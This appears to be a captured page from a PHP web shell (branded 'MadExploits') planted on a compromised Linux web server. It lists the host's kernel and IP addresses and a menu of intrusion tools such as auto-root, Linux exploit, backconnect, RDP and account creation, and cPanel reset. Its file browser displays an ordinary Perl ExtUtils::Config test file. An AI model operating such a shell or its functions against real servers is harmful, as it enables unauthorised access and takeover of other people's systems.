Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 3.147.127.30
54 Domain
7.3.33
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
.cpanplus /
5.16.3 /
build /
ExtUtils-Config-0.008 /
t /
[ HOME SHELL ]
Name
Size
Permission
Action
00-compile.t
980
B
-rw-r--r--
basics.t
932
B
-rw-r--r--
release-pod-coverage.t
378
B
-rw-r--r--
release-pod-syntax.t
302
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : basics.t
#!/usr/bin/perl -w use strict; use warnings FATAL => 'all'; use Test::More 0.88; use Config; use ExtUtils::Config; my $config = ExtUtils::Config->new; ok($config->exists('path_sep'), "'path_sep' is set"); is($config->get('path_sep'), $Config{path_sep}, "'path_sep' is the same for \$Config"); ok(!$config->exists('nonexistent'), "'nonexistent' is still nonexistent"); ok(!defined $config->get('nonexistent'), "'nonexistent' is not defined"); is_deeply($config->all_config, \%Config, 'all_config is \%Config'); my $config2 = ExtUtils::Config->new({ more => 'nomore' }); my %myconfig = (%Config, more => 'nomore'); is_deeply($config2->values_set, { more => 'nomore' }, 'values_set is { more => \'nomore\'}'); is_deeply($config2->all_config, \%myconfig, 'allconfig is myconfig'); my $set = $config->values_set; $set->{more} = 'more3'; is($config->get('more'), $Config{more}, "more is still '$Config{more}'"); done_testing;
Close
